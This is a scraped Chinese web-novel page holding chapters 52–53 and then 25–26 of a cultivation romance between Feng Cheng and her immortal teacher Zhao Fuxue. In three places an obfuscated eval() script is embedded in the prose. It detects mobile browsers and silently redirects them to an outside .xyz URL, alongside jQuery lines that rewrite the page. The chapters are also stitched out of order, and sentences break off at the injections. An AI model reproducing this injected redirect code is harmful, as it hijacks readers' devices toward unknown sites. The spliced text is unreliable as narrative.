;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13777102|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 屋内并没有人任何人的回应,封澄顺着屋子走,终于走到一处寒意最盛的地方。 她抬眼一看,只见门扉以轻纱笼罩,屋内或有一两声水声,泉中一个影影绰绰一个人,背对着她,寂然无声。 “好一个穷奢极欲的仙人,”封澄大为咂舌,“屋子里竟挖了一个泉眼出来。” 即便是生于长煌大原那等未经教化之地,封澄还是多少有些礼义廉耻的,她知晓今夜似乎不是拍马屁演笑脸的时候了,于是小心翼翼地将果盘放到了门口。 这仙人今日被她扬了一脸沙,定然是要沐浴的,她一时心急,竟然忘了此事。 正当她小心退出去时,忽然听闻温泉内一道冷声:“何人造次。” 封澄的后颈传来熟悉的力道,她心底大骂一声,抬手便紧紧抓住能抓的一切,不料手忙脚乱下,竟然只抓住了放在门口的果盘,登时一阵水声,她狼狈地栽进水里,险些被淹死。 赵负雪半合眼睛,似乎并不觉得意外:“果然是你。” 顿了顿,他道:“你来做什么?” 赵负雪并未除去衣物,封澄近了才看出来,他只闲坐在泉中一石台上,身旁泉水涌上去,成冰,再汹涌退下,化作涓涓水流。 她上本身浸在一片冰冷里,脚底热泉却滚滚而上,几乎烫得能灼伤人。 什么怪水,上面冷,下面热,封澄暗中嘀咕。 她尴尬地笑了笑,在水里掏掏,片刻,掏了一只鲜红的果子出来:“我,我这不看你没睡,来给你送果子嘛。” 赵负雪的目光静在通红的果子上,片刻,移开,宁静道:“不必。” 封澄哦了一声,收回果子,游了两步,艰难地爬到岸上,瑟瑟发抖:“你若是冷,不如在屋子里点几个大炭盆,然后风风火火地烧起来,水中吹风,哪里比得上围炉烤果……” 越说越离谱,赵负雪静静地看着她,夜水粼粼,映得他越发容颜如玉,如妖似仙。 这水生于至阳至烈深渊,寻常修士连碰也碰不得,一触便成焦炭。 炭盆之于此水,如同萤火遇骄阳。 赵负雪静静道:“围炉烤果,是什么。” 封澄冻得瑟瑟发抖:“你不知道啊?就是果子,放火上烤一烤,会更甜一些。” 赵负雪忽然心中莫名一动。 “甜一些?” 封澄见他有反应,心中大喜,连连点头,举着手里红果子道:“这个果子是不行了,汁水太多,也太脆……你明日放我出去,我去菜市买好果子来给你烤,保管够甜的!” 图穷匕见不过如此,赵负雪淡淡笑了:“明日清晨。” 封澄眼睛一亮,猛猛点头,清晨就清晨,能出去就好,哪怕放个信再被抓回来也行的。 赵负雪又道:“我随你去。” 封澄一言难尽地看着他,半晌,强颜欢笑道:“菜市喧闹,又乱又吵——你们仙人也肯去这种地方?” 赵负雪看着她这副欲盖弥彰的表情,忽然眼底便有些若有若无的笑意:“你没银子。” 封澄:“……” 赵负雪整衣起身:“为师去结账。” 52. 第 52 章 封澄面如死灰地坐在膳房灶旁,抬眼看了看鱼肚白的天色。 早市还是没去成的,这仙人捏了只鸟放出去,大清早便有人叩门来送了各色果子,封澄还睡得迷迷糊糊,骤然便被鸟叨了起来。 她强打起精神来烤了一盘果子,险些困得栽倒在灶中, 谁料赵负雪拿起,看了看,只留下轻飘飘一句: “……不对。” 然后便一口没吃,险些把封澄气死过去。 “不吃正好,”封澄泄愤地把最红最大的一串塞进嘴里,“不识货的傻子。” 作为一个仙人来说,赵负雪实在太闲了,封澄收拾好果子,反正也睡不着了,便继续去持之以恒地骚扰他,赵负雪平素足不出户,大概总在书房便是在茶室,封澄在茶室未寻到赵负雪,便摸去了书房。 进去一看,果然在此。 他坐在轮椅上,墨发披散,单手抵太阳穴,眉宇不动,手上托着一本古旧典籍,专注无比,封澄蹑手蹑脚地凑到赵负雪身后,然后轻轻俯身,小声道:“……仙人,看书呐?” 赵负雪眼皮都不抬一下:“我似乎在你居室内留了典籍。” 封澄绕他打转:“是这样,本人大清早连觉也没睡,起来烤果子,没有功劳也有苦劳,您看……” 说着,她又看见赵负雪并未束发,于是讨好殷勤地拎了个发带去,为他束发。 赵负雪平静道:“典籍中有修行之法,引气入体后,一日间便无需多少睡眠。” 封澄:“……” 封澄道:“我是这个意思吗? 赵负雪看了她一眼,合上眼皮,片刻,将手中书册置于一旁,起身道:“既然如此,我明白了。” 他明白什么了?封澄额头青筋直跳。 忽然间赵负雪单手按住她肩膀,紧接着后背上便传来几道砰砰之声,霎时灼痛袭来,封澄险些咬掉自己的舌头。 一股清澈冰冷的灵力便顺着她后背大穴中打了进来。 这股灵力看似平静,入体瞬间,经脉间却如同吞下了一座大冰山,封澄当即吐出一口凌霄血来,身后赵负雪眉头也未动一下:“撑好,梳理经脉。” 封澄艰难地回过头,给了他一个充满疑惑与愤怒的表情:“……?!” 赵负雪面无表情:“照你的意思来。” 封澄七窍生烟道:“我什么意思……”说着,一口血又呛上来,赵负雪皱眉道:“运气,不要多话。” 绝大多数修士引气入体,都是自行修炼的,不过若是自身难以引气,也并不是没有他法。 那就是寻一个灵力极为强大的前辈来,硬生生打通此人经脉,强行引五行之气而入体。 这种引气方式能极大限度地拓宽修士的经脉,令其修行前期无比顺畅,但对于打入灵气的这方而言,却是个不小的难题。 毕竟凡人经脉脆弱,打得狠了,爆体而亡,打得轻了,灵脉不通,全然的控制总比全然的爆发困难许多,故能行其道者,少之又少。 封澄对此道也略有耳闻,眼见着灵力如开弓之箭无法回头,她咬了咬牙,坐起身来,一边开始运气,一边道:“……仙人,您靠谱吗?” 赵负雪又触了她身后几处大穴,淡淡道:“第一次做。” 封澄:“……” 封澄咆哮道:“第一次做倒是提前打声招呼啊,至少不要这么自信满满地抬手就爆啊!?” 说着,又一口血喷出来,赵负雪连眉毛都未动一动,置若罔闻道:“少言,兴许能留得一命。” 这兴许二字当头砸来,封澄差点当场给他跪下。 此时此刻,神仙来了也只能乖乖运气,封澄只好希望这位仙人的灵力别太强横,即便给她通一半堵一半,也别把她全身经脉给撑爆了。 书室内一时安静了下来,只有封澄急促的呼吸声,与灵力冲撞经脉骨骼时的轻微沙响。 她闭目,依着本能而与体内的灵力一同起伏,触及时,封澄才发觉,这仙人的灵力看似平静温润,实则冰冷骇骨,仿佛是徘徊在海面上的巨冰,稍不留神,便以不容躲避之态攻杀而来。 她感觉体内有一股混天的热意从丹田烧来,仿佛干涸的土地骤然引泉一样,向她周身灵脉汹涌而现,赵负雪察觉到此,半合的眼睛微微抬了抬。 他抬手,更为悍然的灵力从封澄身后大穴击打而入。 从封澄体内生出的这股灵力,精纯得令天下血修垂涎。 年幼修士怀此灵力,便如小儿执金过闹市,更何况是封澄身边皆为寻常凡人,她不肯引气入体,倒阴差阳错地成了护佑她平安的护身符。 璞玉一般的天才。 烫,几乎是灼人的烫。 封澄感觉自己仿佛要从里面烧起来了,每一滴血都是在沸腾的,这股热意几乎吞噬了那仙人的寒意,封澄甚至觉得自己正在将那寒意一股股向外面逼去,灵力逆流之际,封澄只觉五脏六腑如同滚在沸水里煎熬。 忽然间,这股热意凝滞住了。 寒意不知从何处奔涌而来,强行平复了她几乎沸腾的灵脉,封澄牙一咬,运气将灵流向周身散去,这寒意与她身上热意此消彼长,似乎诱导,又在压制。 灵力游走,遍遍洗涤,她平静了下来。 不知过了多久,封澄满头大汗,终于睁开了眼睛。 封澄一睁开眼,便知晓身体已然完全不一样了。 她茫然地站起来,抬抬手,抬抬胳膊,踢踢腿。 身体的每一处都轻盈而有力,似乎有数不尽的热源从她丹田处涌现,封澄只觉得自己从未像如今这般自由过,仿佛这世间没有她去不了的地方一样。 赵负雪收回手,坐于书桌旁,给自己倒了一杯茶:“如何。” 封澄怔怔地看向他,此时即便是傻子,也该明白方才引导她的冰冷灵力是从何而来了,她顿了顿,头一次真心实意道:“感觉不错。” 赵负雪的面色不动,垂眸将茶水饮下;“如此便好,今日且去休息,明日寅时晨起,记诵《五行经》。” 《五行经》是修道之人入门开蒙的东西,寻常天机师读的第一本书就是它,讲的是五行之力如何相克相生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13794635|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,普适程度几乎等同与凡世中的《识字经》,封澄怔怔地看了看自己的手心,灵力如泉喷涌而出。 这种滋味并不坏。 她沉默片刻,道:“为什么要这么做?” 赵负雪看了看她:“你太弱了。” 封澄心底方才升起的那点细微的尊重有些被打击了,她道:“太弱了?那只是比起你而已!” 赵负雪道:“将来要你命的人,并不会在意这些。” 静了静,他又喝了一口茶水,垂下眼睛,端详着他手上的指环:“我留你有用,若你被杀,会很麻烦。” 封澄心底的感激也被打击了,她忍了忍,转身便走,好悬没把书房的门摔得震天响。 次日清晨,封澄果然睡不着了。 说来也怪,平素她是最能睡的人,不光夜里要睡,白天得空也要睡,碰上不需要出门杀魔的时候,给她一个硬榻,她便能从正月初三睡到来年十五。 封澄依稀记得,在年幼时,阿翁阿嬷经常带着医师、神色惊慌地破门而入。 原因无他——睡得太久,阿翁阿嬷以为她死了。 她睁眼看着泛鱼肚白的天色,在榻上烦躁地翻来覆去,片刻,猛地坐了起来。 根本没有丝毫睡意,身体的精力仿佛取之不尽用之不竭一样,她几乎能跳起来把鸣霄室的地从头到尾翻个遍——成为仙人的代价,竟然是把睡眠这种人生顶级享受剥夺掉,当真是令人忍不住流泪。 “只是引气入体便这样了,那日后可还了得,”封澄恹恹地想,“要是修到了最后,修成了一副了无生趣的样子,还不如不修来的好,” 活生生的例子便是那个仙人。 那仙人吃也不会吃,睡又睡不着——兴许连梦也做不了一个,天天坐在池子里吹冷风,过起日子来仿佛是掺着眼泪数冰碴子。修行之人若是活到这个份上,当真还不如一根绳子吊死了。 ——然后仙人还寿命悠长,这日子过不到头,大概还死不掉。 她草草梳洗好,正漱口,耳边忽然飞来一只亮晶晶的小鸟,封澄认得这小鸟,当日赵负雪召医修来为她接肋骨,便放出了这样一只小鸟。 小鸟看起来晶莹可爱,封澄眼睛登时一亮,心痒难耐,忍不住好奇地戳了戳。 谁料那小鸟一触即散,晶莹可爱的小鸟荡然无存,取而代之的是赵负雪那平静且不近人情的声音回荡在她的耳边。 “带《五行经》,来茶室。” 这声音里连晨起的睡意也没有,看着便是一晚上没睡,当真是实打实的应了封澄方才所想。她只想装作没听到,谁料这声音又重复一遍. “带《五行经》,来茶室。” “带《五行经》,来茶室。” 大有把人原地吵死之趋势,封澄咬牙切齿道:“——知道了。” 声音霎时便不见了,封澄走向居室中书架,这书架颇大,藏书也多,乌压压地颇为壮观。 《五行经》放在最显眼处。 厚度骇人,几乎等同于半个她。 封澄的脸霎时往下一拉。 53. 第 53 章 《五行经》既无聊又啰嗦,封澄坐在赵负雪对面,只看了几行,久违的睡意便席卷而来,她慢慢地垂下了头。 ——赵负雪的茶杯不轻不重地落在案上。 封澄猛地惊醒过来,赵负雪道:“你未经修行便引气入体,若不通五行之道,爆体而亡指日可待。” 她的困意登时被赵负雪一句话吓得烟消云散;“不念书会就死?” 赵负雪平静无比:“对。” 静了静,他又道:“在灵气逆行爆体而亡之前,我会给你个痛快。” 封澄试图在赵负雪那张冷若冰霜的俊脸上看出半丝吓唬人的痕迹,赵负雪的面上却没有丝毫波动。 要是因为文盲这个原因而送死,那真是死到黄泉也丢人,封澄咬牙端起赵负雪拆分开的《五行经》分册,一字一句地读了起来。 修士的身体比凡人强健许多,封澄读到日上三竿,才久违地感觉到了些微饥饿,她合了书,揉揉眼睛,对赵负雪道:“仙人,你饿不饿?” 赵负雪披着身后柔和日光,令他看起来如同温和的神像,他看着封澄蔫巴巴的样子,沉吟片刻,道:“早市未完,可去用饭。” 封澄的眼睛唰地一下就亮了——意思是,她能出去了? 赵负雪却像看出了她心中所想,他道:“我与你随行。” 封澄:“……” 也不是不行,好歹是能出去了,封澄一口应下,转身非常迅速地把手搭在了赵负雪身后轮椅上,警惕道:“今天不能随意叫个鸟儿来糊弄了,这次我一定要亲自出门,屁股落在摊位上才算数。” 赵负雪的手陡然停住。 自从这把轮椅与他随行后,似乎便无人会在他面前引起此物的存在来了。 常人竭力忽视他身后的轮椅。 人人皆低身,人人皆敬畏。 赵负雪颇感荒谬地想,原来世人比他自己还不能接受他的残缺。 身后封澄却时很尴尬,她的手停在轮椅背后,也尴尬地一凝:“……” 这轮椅谁打的,怎么这么高? 还有,把手呢? 她琢磨半晌,勉强找了个可以搭手的位置,咬牙把赵负雪往外推去,怒道:“给你打轮椅的工匠本事不行……这椅子打高了,不舒服,叫我阿翁来,一定不会给你打这么高。” 赵负雪莫名便笑了,他垂眸道:“你阿翁,会打轮椅?” 封澄磨了磨牙,抬起手来把住了轮椅后的兽首装饰,然后向外推去,不耐烦道:“当然,他是长煌大原上最厉害的木匠,他做的木器,比铁器还结实,他给人做轮椅,从来都是细细量过的。” 这仙人的轮椅不知是什么材质,封澄心中嘀咕,阿翁做了一辈子木匠,也未往工坊中运过这样的木材。 触手生凉,奇沉无比,通体玄黑,简直像是某种奇怪的玉石。 他的乌发垂在身后,封澄推着赵负雪,鼻翼间似有冷香气,她皱眉抽了抽鼻子,一时间有些想打喷嚏。 赵负雪忽然道:“你身量上有些不足……今年年方几何?” 封澄瞪大了眼:“?” 他轮椅打高了,怪她身量不足? 赵负雪任由她推着,平静道:“你若已然年至十八,却还没两把剑高,于习武之道上大抵是受限颇多——至少枪法是学不了。” 封澄额间青筋暴起,她咬牙切齿地推着他的轮椅,力道之大几乎能把那兽首掰下来:“……十四五岁,我还能长,再说长不高怎么了——枪法,谁稀罕!” 她的年岁连自己也说不清楚,据阿翁阿嬷说,她被捡到时也就是大概四五岁的样子,现在也就当是十五六岁罢了。 赵负雪点点头,道:“如此便好。” 调理饮食,多少还能长些。 二人说话间,便已经出了鸣霄室,不少勤勉修士已然早练完毕,此时正在回去路上,见赵负雪轮椅,众修士忙收剑,恭敬施礼道:“赵先生。” 封澄面无表情地推着轮椅经过这群修士,连停留都不停留,几个修士这才看见身后的封澄,登时,几个人的嘴便缓缓张开了。 待二人走过,几人大惊失色道:“那,那推着赵先生的人,是,是谁?” “好似是前几日赵先生收的弟子!” “她,她竟敢……赵先生的轮椅,那岂是能碰的东西!” “这小丫头年岁不大,胆子不小,那轮椅一遮,我方才几乎未曾瞧见她。” “听说是个实打实的硬茬儿,前几日我在典礼上,亲眼瞧着这位小师妹把姜徵擒了,啧啧,不愧是……” “哎,她姜家最为小气,听说小师妹因此被姜家暗部盯上了,姜皇后只想借此杀了赵先生的徒儿,给她姜徵腾位子呢!” 正当几人窃窃私语之际,身边众人却陡然变了脸色,忙七手八脚地拽着这几个多话之人,这几人一抬头,只见一女子面无表情地负刀走过,墨发白衣,长发如练。 这几人登时脸霎时雪白,一时间连头也不敢抬,噤声低头,恨不得将自己缩进地缝里面去。 竟是姜徵晨起练刀,此时也收剑去膳房了。 好巧不巧,这番话正被她听了个正着。 待姜徵的身影远去,多嘴几人抱头哀嚎道:“这下可好,姜家暗部虽杀不了赵公子的徒儿,可若是对着咱们动了手……?!” 姜徵并未将这几只杂毛雀的聒噪听入耳中,她忽然抬起头来,静静地看着远方封澄推着轮椅的背影。 年岁不大,灵气微弱,只一身蛮力有亮眼之处。 本不值得放在心上。 她看了片刻,转身入了膳堂。 膳堂打饭的弟子本一脸木然地给众修士打饭,不料忽然见了姜徵,他打饭的勺登时发起抖来,见姜徵站着不动,他迟疑道:“姜,姜姑娘今天,亲自来吃饭啊?” 话一出口,这弟子暗骂一声,恨不得给自己嘴巴一下。 姜徵的声音冷冷:“两个包子,一碗红米粥。” 打饭弟子小心翼翼地将包子和米粥放在了木盘上,正递给姜徵,却见姜徵拇指忽然一动,雪亮长刀陡地弹出刀鞘来,刷刷两下,刀光炫目。 这弟子心中大叫一声吾命休矣,绝望地闭上了眼睛。 预料中的痛楚并没有出现,他怂怂地睁开一只眼睛。 只见木盘铮亮反光。 两个菜包井水不犯河水地躺在木盘两边,各自被整整齐齐地分为八份,作盛开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13794636|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状。 片刻,柔软的、青绿的菜馅才刚刚反应过来一样,缓缓地从旁边滑了出来。 姜徵抬了抬下巴,居高临下,手上长刀杀气骇人:“再来两个。” 逛完早市,封澄又去在早市上采购了两大篮果子,权作她昨日不能外出之补偿。 令她意外的是,洛京商贩好像分外热情些,她去买果子,大多商贩不光不肯收钱,连头也不抬一个,推着嚷着的便把果子推了过来,封澄拿着果子思索片刻,转头便一脸肃容:“我知道了,一定是他们心肠好,看你站不起来,所以送果子给你吃。” 赵负雪单手支着下巴,闻言,深深地看了她一眼。 顿了顿,她看向赵负雪的眼神有些一言难尽:“其实你能站起来的吧——你揍我的时候就站起来了。” 赵负雪冷冷看着她。 封澄委婉地道:“要不你下来走两步?” 赵负雪连话也不说一句,转头,轮椅走了。 封澄觉得方才有一瞬,那轮椅似乎是打算贴着她脚背碾过去的,她心有余悸地缩回脚,眼睛忽然一亮。 此时不跑,更待何时?! 还没等抬脚跑路,熟悉的灵力便冲向封澄后颈,把封澄拎回了轮椅旁边。 这位仙尊的灵力堪比八爪鱼,简直能称之为无孔不入,封澄盯着他的背影,恨得牙痒,偏生此时又苦哈哈地拎着两篮果子,心中怨气更是堪比千年老尸。 她的目光忽然飘到了仙尊背后的兽首上。 封澄挑了挑眉,眼睛一亮。 这次一路上收到的视线比方才更多些,封澄没太当回事,临进鸣霄室前,她鬼鬼祟祟地从赵负雪的轮椅后面拎下来两篮果子,转头便冲去拾柴烤火。 上次烤了不吃,这次塞也要塞进他鼻孔里,封澄恨恨心想。 赵负雪垂眸,正要合上院门,却听一人大笑道:“赵师兄,听闻你今日去早市了?” 来者正是温不戒,赵负雪摇着轮椅,去了花树下,给自己倒了一杯茶:“消息倒是灵通。” 温不戒却笑得意味深长起来:“那倒不是,主要是学生里面传遍了。” 赵负雪握着茶杯的手一顿,似乎察觉到什么不对:“何出此言。” 温不戒终于忍不住大笑起来:“我今日去给乙班的学生上课,传言道赵先生从早市回来,轮椅左右各挂了一篮果子,轮椅竟还有如此妙用,哈哈哈哈哈!” 赵负雪的茶杯中霎时炸出一片冰花。 正在此时,封澄捧着柴火,飞也似地来到了花树下,她不知从哪里寻来了铁签,此时两只手上皆抓着被串成串的、红彤彤的果子。 她对温不戒的印象倒是不差——毕竟断了的肋骨就是他给接上的,封澄想了想,觉得烤好的果子可以分他一串。 温不戒笑眯眯的,他正要给封澄打招呼,却听见身后一道冷声:“出去。” 这般一看,赵负雪面无表情,手中把玩着莹莹白润的玉杯,温不戒面上笑意一凝——自打赵负雪疯过那段日子后,他见赵负雪便多少有些发怵,闻言,温不戒果断把备好的药一丢,脚底抹油是也。 封澄看着温不戒顺手关门的背影,心底忽然有些不妙的预感。 25-30 第25章 第25章“赵公子,”她哑着嗓子…… 在很久之前,久到还在天机院读书时,封澄曾和同窗一道去看过一台戏,叫白蛇传。 当时的挚友说:“这许仙见着白娘子的真身,便被吓死过去,可见他的感情不真,连挚爱之人的真面目都难以接受。” 彼时的封澄咬着茶杯边笑;“你怎么知道是许仙的感情不真,而不是白娘子的蛇身着实吓人呢?” 此时此刻,看着赵负雪,封澄莫名就想到了这一台戏。 她的样子,应该是无比骇人的,从赵负雪身后众陈家人的反应就能看出来了。有几个胆子小的,登时便被吓软在地。 人魔嘶吼着,不满于猎物被一个突如其来的同类所抢,她的口中发出嘶嘶的声音,封澄转向她,指尖血木仓重新出现,她温声道:“躲远些,赵公子。” 暴雨如注,电闪雷鸣。 赵负雪与那人魔过招时,只觉得那人魔的力量与肢体强度堪比天魔,而当那人魔对上真正的天魔时,却如同三岁稚子执刀砍向魁梧巨人一般。 赵负雪忽然想起封澄说的一句话。 她说,她修行至今,并未因修行而杀过一个人。 而血道,同族相食。 哪个肉体凡胎的、爹生娘养的修士,能强悍如封澄那个程度?海洛斯的爪子扣在她毫无防备的脖子上,竟连一道白印子都没留下。 只是血修,是不够的,修到极致、把整个大宋的人全吃了,也不够。 将他打得无比狼狈的人魔,在封澄的木仓下,竟然节节败退,而距离二人战场稍微近一些的人,竟连封澄扬起的魔气都遭受不住,大叫着便向后退去。 魔与魔的打斗,寂静无言,轰然雷鸣之下,那人魔的利刃被破成数片,紧接着竟被封澄一木仓砸进了地砖上,轰出了一个庞大无匹的窟窿! 于是众人惊悚无比地看到,这令众人伤亡惨重的人魔,被封澄数息,打得动弹不得了。 暴雨将大地上的血冲聚成一线,人的血,魔的血,分不清彼此,古安长街上张灯结彩,摊位却被淋得乱七八糟,上面也鲜红,下面也鲜红。 封澄漠然收回木仓,走向了愣在一旁的众人,陈氏众人与天机师瑟瑟发抖,随即反应过来:“救……救命啊——!” 他们发疯一般向后奔逃,骤然间便逃得无影无踪,封澄慢慢地走过去,走向了唯一一个没有逃离的人。 他的黑衣吸饱了血,雨水浇在他的身上,衣摆下带出一线的红。 封澄歪了歪头,声音轻得像羽毛;“嗯?” 赵负雪觉得自己此时应该有许多反应,或者杀意,或者恐惧,或者当场和她划清立场,或者谢她救命之恩。 血修不可恕,魔族不可恕。 可看到这个木仓上淋血,一步一步地向他走来的魔时,赵负雪脑中竟然只有一句话。 “……头伸过来,有树叶。” 封澄一怔,随后慢慢地笑了。 面前的少女眨着眼睛,深黑的长睫下垂着雨珠:“赵公子可真会玩笑。” 在这种诡异的场景,赵负雪竟被这句话逗得勾起了嘴角。 巨坑里传来人魔的呛咳声,封澄抬起手来,摸了摸她探出来的角:“收不回去了,就这么上陈氏山庄吧,把他们做的事情一一清算。” 忽然间,她感觉到温热从这个原本不该有的器官上传来。 赵负雪不知何时,伸出了手,他的手上满是伤口,触碰她这只巨角的力道却是轻柔无比:“也挺好看的。” 一触既过,他若无其事地松开手,向着砸进人魔的巨坑中走去:“走吧,去杀了陈风起。” 这一触,她的心口仿佛有蚂蚁细细软软地爬过,她看着赵负雪踉踉跄跄的背影,一时之间,她不知是想哭还是想笑。 越往陈氏山庄上走,暴雨越大,人魔被封澄绑在身边,似乎也是知道此人轻易招惹不得了,她面上虽露着威胁神色,脚却不由自主地随着封澄的钳制而向前走着。 陈氏山庄,巍巍群山,屹立与暴雨之中,站在山脚下,便令人感觉自身渺小无比。 在见到陈氏山庄的山门时,人魔终于停下了挣扎,她站在山脚下,仰起头来看向山顶,目光中的泪水不停,但更为清晰的,却是隐隐作燃的怒火。 封澄摸了摸自己的角:“陈云还在里面吧?” 赵负雪默了默,将脸上面具取下, 不由分说地扣在了封澄面上:“戴着这个。” 他的脸被雨浇着,雨珠顺着他挺直的鼻梁向下滑落,眼睛却亮得像寒星,封澄被他扣了个正着,无奈道:“你的面具小了一些。” 这只怪异无比的鬼角着实占地方,赵负雪皱眉,凑过来给她调整。 这调整得倒是没问题,但…… 封澄隐忍地吞了吞口水。 这个角,是轻易碰不得的。 赵负雪调整得认真,指数次擦过封澄的角,封澄呼吸一时有些急促,在赵负雪的手不知多少次碰到她的角后,她忍了又忍,终于忍不住了,一把抓住赵负雪的手。 “赵公子,”她哑着嗓子道,“别摸了。” 再摸就摸出事了,封澄忍着后半句没说。 赵负雪的手一停,他福至心灵地从封澄的脸色中读出了后半句的未竟之言,被封澄小心抓着的手登时像摸了火炭一样飞快地弹开了,他的脸上腾起一层薄红,手足无措道:“我我我我……!” 封澄揶揄道:“虽然是额外的部件,但该有的功能还是有的,赵公子,你耍流氓啊?” 赵负雪朦朦胧胧阅过的杂书中讲过,人形天魔的角,似乎是求偶之用, 堂堂君子,光风霁月地活了这么多年,还是头一次被人当面喊耍流氓。偏生他做的事,又的确是无可辩驳的耍流氓。 又想到方才他摸了封澄的角,还跟了一句‘挺好看’,赵负雪就恨不得原地晕了才好。 所幸封澄也没有在这些事上继续调笑他的意思,她笑了笑,便抓着人魔继续往山上走去:“走吧,陈云向来擅长自己哄自己,即便是看到了,也只会当我是做了个惟妙惟肖的装扮。” 说来诡异,二人手上拖着的,是视陈家为仇的凶魔,屠了陈家也不意外,而这两人竟还担心鬼角会不会吓到陈云。 兴许是所有人手皆调去山下除魔的缘故,三人行走间,除了因大雨而格外泥泞的山路外,竟然是一路畅通无阻。颛安峰的寂静更是出乎二人的意料。 待二人踢开正殿的大门,却发现高堂之上,赫然坐着一个人。 一个疲惫的、苍老的中年人。 “你看起来已经等了许久了,”封澄道,“是在等什么人?” 见到陈风起的刹那,身边的人魔骤然爆发出非人的怒嚎,这声音尖锐而悲切,好像被切开喉管的鸟,又好像被拔去皮毛的兽,大雨骤然冲破了虚掩的房门,闪电雷光下,一个扭曲的影子不住地啸叫。 赵负雪道:“那个唱戏的呢?” 陈风起咳了两声,轻飘飘道:“关入地牢当日,便自戕了。” 死了? 听到这句话,人魔终于尖叫着扑了出去,封澄一时竟然按不住她,只见人魔手持断了一半的利刃,啸叫着冲着陈风起扑了过去,可临着刀切到他身上时,她却停住了。 陈风起八风不动,连躲开的迹象都没有。 “你怎么不动手了,”他嗤笑道,“这不是你活着死了,都想做到的事情吗?” 可那人魔却像僵住了一般,利刃悬于仇人头顶,却始终未落下。 赵负雪微微皱眉道:“难道人魔还对他还有旧情?” 但这人魔下手之狠绝,可全然不像尚存人性的模样,说到底,人魂的存在感近乎微弱,除了能清晰地感知周围发生的一切之外,并不能影响人魔做出什么行为来。 封澄道:“你与人魔交手时,她眼含热泪,可曾停过一次手?” 赵负雪默了默,轻轻地摇头。 封澄道;“魔的霸道,是人极难反抗的,她阻止不了这只魔乱行杀戮,自然也阻止不料魔的停手不杀——你信不信,如若她自己能拿主意,她无论如何也会把他杀了。” 赵负雪沉默了;“……” 他很想问,既然如此,她又是如何遏制住体内魔的本能,像人一样活下去的呢? 这得有多难,多痛苦呢? 封澄继续道:“魔停手了,无非只有一个原因,那就是杀了他,她自己也活不下去。” 赵负雪的脸骤然一沉:“你是说,秽迹?” 封澄点了点头。 除此之外,再难解释。 已经只剩下本能的魔,是为何才会停手不杀的。 她身死化魔时,陈风起就在她的身边。 赵负雪喃喃道:“我说他开着古安龟祭,好像不怕死一样……原来是有这张底牌。” 果然,陈风起慢慢地站起来,那人魔的刀尖离他的头却越来越远,他讥讽道:“你我多年前一段孽情,竟令你如此之久,也不肯放开吗。” “孽情?”封澄咬牙——只是人凡之情,怎么到陈风起嘴里就成了不堪的孽情。 “……师,师尊。” 霎时一道霹雳从穹顶轰然劈下,直轰得封澄傻在了原地。 什么? 赵负雪牙一咬,手便按在了腰间见素上:“伦理不顾,连自己的徒儿也下手,当真畜生。” 一旁的封澄心头猛地跳着,她不知为何,垂下了巨大的、恐怖的巨爪放在了赵负雪的手上:“……是啊。” 、 门外忽然传来一声霹雳,封澄嘴角猛地一回头:“有人来了。” 步步沉重,魔气横生,这冲天的魔气,几乎蒙得人睁不开眼睛。 又一只魔。 第26章 第26章她忽然便嗅到了屋内不知…… 随着全然陌生的魔气,还有来自少年人的怒吼:“我不放开!你不许上去!” 一听这个声音,封澄便脸色一沉:“陈云怎么在这里?” 变了脸色的不止封澄一个,听到陈云声嘶力竭的声音,陈风起一贯八风不动的脸上也终于出现了裂纹,他也终于坐不住了,豁然起身,脸上竟然有了能称之为恐惧的神色。 只听陈风起怒吼一声,手上灵光爆现,猎鹰一样俯冲下来,人魔躲闪不及,竟然被他一记暴击冲了出去! 当真是舐犊情深,慈父心肠。 人魔正砸中堂中香炉,发出了沉重一声。 陈风起正要继续向山下去,不料一杆血色长枪却拦住了他,他的眼中闪过凶光,看向长枪的主人。 ——这人戴着狰狞鬼面,手爪也惟妙惟肖地仿了恶鬼天魔的样子,提木仓既稳又有力,一见便是常年使长枪的人。 长枪,百兵之王。 修士之中,使什么武器的人都有,可使长枪的人却少,修士入道,大都是个风度翩翩、仙风道骨,兵器于其,只是个便于使用灵力的载体,木仓既不便携,又难使,故用者少之又少。 细细一琢磨,使长枪的,且使得好意思拿出来的,好像也只有天机军中那几人了。 短短一瞬,陈风起的脑中不知过了多少个来回,他按捺着心底的焦急与怒意,冷冰冰地打量着岿然不动的封澄。 一个女子,还是个年纪不大的小姑娘。 没听说过有这号人。 “你是在拦我?”陈风起寒声道。 封澄不说话,赵负雪眯了眯眼:“下不去了,那唱戏的有古怪。” 唱戏的? 陈风起的脸霎时一阴:“有古怪?呵,就凭他陈絮!连点灵力都没有的废物!” 陈絮? 